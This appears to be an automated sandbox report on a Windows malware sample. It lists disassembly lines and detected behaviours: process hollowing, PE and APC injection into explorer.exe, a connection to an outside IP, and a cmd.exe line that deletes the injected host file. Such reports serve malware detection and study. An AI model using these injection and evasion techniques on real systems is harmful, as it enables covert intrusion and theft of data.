Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5A147 mov eax, dword ptr fs:[00000030h]	3_2_05C5A147
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5A147 mov eax, dword ptr fs:[00000030h]	3_2_05C5A147
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5A147 mov eax, dword ptr fs:[00000030h]	3_2_05C5A147
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D33157 mov eax, dword ptr fs:[00000030h]	3_2_05D33157
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D33157 mov eax, dword ptr fs:[00000030h]	3_2_05D33157
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D33157 mov eax, dword ptr fs:[00000030h]	3_2_05D33157
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CF314A mov eax, dword ptr fs:[00000030h]	3_2_05CF314A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CF314A mov eax, dword ptr fs:[00000030h]	3_2_05CF314A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CF314A mov eax, dword ptr fs:[00000030h]	3_2_05CF314A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CF314A mov eax, dword ptr fs:[00000030h]	3_2_05CF314A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9415F mov eax, dword ptr fs:[00000030h]	3_2_05C9415F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D35149 mov eax, dword ptr fs:[00000030h]	3_2_05D35149
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9716D mov eax, dword ptr fs:[00000030h]	3_2_05C9716D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CB717A mov eax, dword ptr fs:[00000030h]	3_2_05CB717A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CB717A mov eax, dword ptr fs:[00000030h]	3_2_05CB717A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C66179 mov eax, dword ptr fs:[00000030h]	3_2_05C66179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8510F mov eax, dword ptr fs:[00000030h]	3_2_05C8510F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6510D mov eax, dword ptr fs:[00000030h]	3_2_05C6510D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C90118 mov eax, dword ptr fs:[00000030h]	3_2_05C90118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5F113 mov eax, dword ptr fs:[00000030h]	3_2_05C5F113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C97128 mov eax, dword ptr fs:[00000030h]	3_2_05C97128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C97128 mov eax, dword ptr fs:[00000030h]	3_2_05C97128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1F13E mov eax, dword ptr fs:[00000030h]	3_2_05D1F13E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CEA130 mov eax, dword ptr fs:[00000030h]	3_2_05CEA130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5B0D6 mov eax, dword ptr fs:[00000030h]	3_2_05C5B0D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5B0D6 mov eax, dword ptr fs:[00000030h]	3_2_05C5B0D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5B0D6 mov eax, dword ptr fs:[00000030h]	3_2_05C5B0D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5B0D6 mov eax, dword ptr fs:[00000030h]	3_2_05C5B0D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7B0D0 mov eax, dword ptr fs:[00000030h]	3_2_05C7B0D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5C0F6 mov eax, dword ptr fs:[00000030h]	3_2_05C5C0F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9D0F0 mov eax, dword ptr fs:[00000030h]	3_2_05C9D0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9D0F0 mov ecx, dword ptr fs:[00000030h]	3_2_05C9D0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C590F8 mov eax, dword ptr fs:[00000030h]	3_2_05C590F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C590F8 mov eax, dword ptr fs:[00000030h]	3_2_05C590F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C590F8 mov eax, dword ptr fs:[00000030h]	3_2_05C590F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C590F8 mov eax, dword ptr fs:[00000030h]	3_2_05C590F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D34080 mov eax, dword ptr fs:[00000030h]	3_2_05D34080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D34080 mov eax, dword ptr fs:[00000030h]	3_2_05D34080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D34080 mov eax, dword ptr fs:[00000030h]	3_2_05D34080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D34080 mov eax, dword ptr fs:[00000030h]	3_2_05D34080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D34080 mov eax, dword ptr fs:[00000030h]	3_2_05D34080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D34080 mov eax, dword ptr fs:[00000030h]	3_2_05D34080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D34080 mov eax, dword ptr fs:[00000030h]	3_2_05D34080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5C090 mov eax, dword ptr fs:[00000030h]	3_2_05C5C090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5A093 mov ecx, dword ptr fs:[00000030h]	3_2_05C5A093
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D350B7 mov eax, dword ptr fs:[00000030h]	3_2_05D350B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA00A5 mov eax, dword ptr fs:[00000030h]	3_2_05CA00A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1B0AF mov eax, dword ptr fs:[00000030h]	3_2_05D1B0AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D3505B mov eax, dword ptr fs:[00000030h]	3_2_05D3505B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C90044 mov eax, dword ptr fs:[00000030h]	3_2_05C90044
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C61051 mov eax, dword ptr fs:[00000030h]	3_2_05C61051
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C61051 mov eax, dword ptr fs:[00000030h]	3_2_05C61051
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D09060 mov eax, dword ptr fs:[00000030h]	3_2_05D09060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C66074 mov eax, dword ptr fs:[00000030h]	3_2_05C66074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C66074 mov eax, dword ptr fs:[00000030h]	3_2_05C66074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C67072 mov eax, dword ptr fs:[00000030h]	3_2_05C67072
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C85004 mov eax, dword ptr fs:[00000030h]	3_2_05C85004
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C85004 mov ecx, dword ptr fs:[00000030h]	3_2_05C85004
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C68009 mov eax, dword ptr fs:[00000030h]	3_2_05C68009
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5D02D mov eax, dword ptr fs:[00000030h]	3_2_05C5D02D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5C3C7 mov eax, dword ptr fs:[00000030h]	3_2_05C5C3C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5E3C0 mov eax, dword ptr fs:[00000030h]	3_2_05C5E3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5E3C0 mov eax, dword ptr fs:[00000030h]	3_2_05C5E3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C5E3C0 mov eax, dword ptr fs:[00000030h]	3_2_05C5E3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C663CB mov eax, dword ptr fs:[00000030h]	3_2_05C663CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C933D0 mov eax, dword ptr fs:[00000030h]	3_2_05C933D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C943D0 mov ecx, dword ptr fs:[00000030h]	3_2_05C943D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CE43D5 mov eax, dword ptr fs:[00000030h]	3_2_05CE43D5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C61380 mov eax, dword ptr fs:[00000030h]	3_2_05C61380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C61380 mov eax, dword ptr fs:[00000030h]	3_2_05C61380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C61380 mov eax, dword ptr fs:[00000030h]	3_2_05C61380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C61380 mov eax, dword ptr fs:[00000030h]	3_2_05C61380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C61380 mov eax, dword ptr fs:[00000030h]	3_2_05C61380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7F380 mov eax, dword ptr fs:[00000030h]	3_2_05C7F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7F380 mov eax, dword ptr fs:[00000030h]	3_2_05C7F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7F380 mov eax, dword ptr fs:[00000030h]	3_2_05C7F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7F380 mov eax, dword ptr fs:[00000030h]	3_2_05C7F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7F380 mov eax, dword ptr fs:[00000030h]	3_2_05C7F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C7F380 mov eax, dword ptr fs:[00000030h]	3_2_05C7F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8A390 mov eax, dword ptr fs:[00000030h]	3_2_05C8A390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8A390 mov eax, dword ptr fs:[00000030h]	3_2_05C8A390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8A390 mov eax, dword ptr fs:[00000030h]	3_2_05C8A390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05D1F38A mov eax, dword ptr fs:[00000030h]	3_2_05D1F38A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C693A6 mov eax, dword ptr fs:[00000030h]	3_2_05C693A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C693A6 mov eax, dword ptr fs:[00000030h]	3_2_05C693A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDC3B0 mov eax, dword ptr fs:[00000030h]	3_2_05CDC3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C58347 mov eax, dword ptr fs:[00000030h]	3_2_05C58347
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C58347 mov eax, dword ptr fs:[00000030h]	3_2_05C58347
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C58347 mov eax, dword ptr fs:[00000030h]	3_2_05C58347
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9A350 mov eax, dword ptr fs:[00000030h]	3_2_05C9A350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6B360 mov eax, dword ptr fs:[00000030h]	3_2_05C6B360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6B360 mov eax, dword ptr fs:[00000030h]	3_2_05C6B360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6B360 mov eax, dword ptr fs:[00000030h]	3_2_05C6B360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6B360 mov eax, dword ptr fs:[00000030h]	3_2_05C6B360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6B360 mov eax, dword ptr fs:[00000030h]	3_2_05C6B360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C6B360 mov eax, dword ptr fs:[00000030h]	3_2_05C6B360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E363 mov eax, dword ptr fs:[00000030h]	3_2_05C9E363
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E363 mov eax, dword ptr fs:[00000030h]	3_2_05C9E363
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E363 mov eax, dword ptr fs:[00000030h]	3_2_05C9E363
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E363 mov eax, dword ptr fs:[00000030h]	3_2_05C9E363
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E363 mov eax, dword ptr fs:[00000030h]	3_2_05C9E363
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E363 mov eax, dword ptr fs:[00000030h]	3_2_05C9E363
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E363 mov eax, dword ptr fs:[00000030h]	3_2_05C9E363
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C9E363 mov eax, dword ptr fs:[00000030h]	3_2_05C9E363
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05C8237A mov eax, dword ptr fs:[00000030h]	3_2_05C8237A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE372 mov eax, dword ptr fs:[00000030h]	3_2_05CDE372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE372 mov eax, dword ptr fs:[00000030h]	3_2_05CDE372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE372 mov eax, dword ptr fs:[00000030h]	3_2_05CDE372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CDE372 mov eax, dword ptr fs:[00000030h]	3_2_05CDE372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CE0371 mov eax, dword ptr fs:[00000030h]	3_2_05CE0371
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CE0371 mov eax, dword ptr fs:[00000030h]	3_2_05CE0371

Source: C:\Windows\SysWOW64\raserver.exe

Code function: 5_2_00D1949C GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,

5_2_00D1949C

Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F60B64C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF72F60B64C
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D22000 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00D22000
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D226B0 SetUnhandledExceptionFilter,	5_2_00D226B0

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\explorer.exe

Network Connect: 172.66.0.70 80

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\kHslwiV2w6.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\kHslwiV2w6.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: NULL target: C:\Windows\SysWOW64\raserver.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: NULL target: C:\Windows\SysWOW64\raserver.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Thread register set: target process: 4828			Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Thread register set: target process: 4828			Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Section unmapped: C:\Program Files (x86)\Internet Explorer\iexplore.exe base address: 400000	Jump to behavior
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base address: 400000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section unmapped: C:\Windows\SysWOW64\raserver.exe base address: D10000	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 5429008	Jump to behavior

Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe"	Jump to behavior
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\raserver.exe

Code function: 5_2_00D1C9F6 AllocateAndInitializeSid,GetLastError,AllocateAndInitializeSid,GetLastError,GetLengthSid,GetProcessHeap,HeapAlloc,InitializeAcl,GetLastError,AddAccessAllowedAce,GetLastError,AddAccessAllowedAce,GetLastError,InitializeSecurityDescriptor,GetLastError,SetSecurityDescriptorDacl,GetLastError,AllocateAndInitializeSid,GetLastError,SetSecurityDescriptorOwner,GetLastError,SetSecurityDescriptorGroup,GetLastError,IsValidSecurityDescriptor,GetLastError,GetProcessHeap,HeapFree,FreeSid,FreeSid,FreeSid,

5_2_00D1C9F6

Source: C:\Windows\SysWOW64\raserver.exe

5_2_00D1C9F6

Source: explorer.exe, 00000004.00000002.11881693560.0000000000F60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.6843158548.0000000000F60000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000004.00000002.11884668589.0000000004590000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11890837892.000000000CF26000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11881693560.0000000000F60000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000002.11881693560.0000000000F60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.6843158548.0000000000F60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.11880835641.0000000000820000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000002.11881693560.0000000000F60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.6843158548.0000000000F60000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: GetLocaleInfoEx,		0_2_00007FF72F638FB0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: GetLocaleInfoEx,		0_2_00007FF72F639080

Source: C:\Users\user\Desktop\kHslwiV2w6.exe

Code function: 0_2_00007FF72F5B0030 GetSystemTimeAsFileTime,

0_2_00007FF72F5B0030

Stealing of Sensitive Information

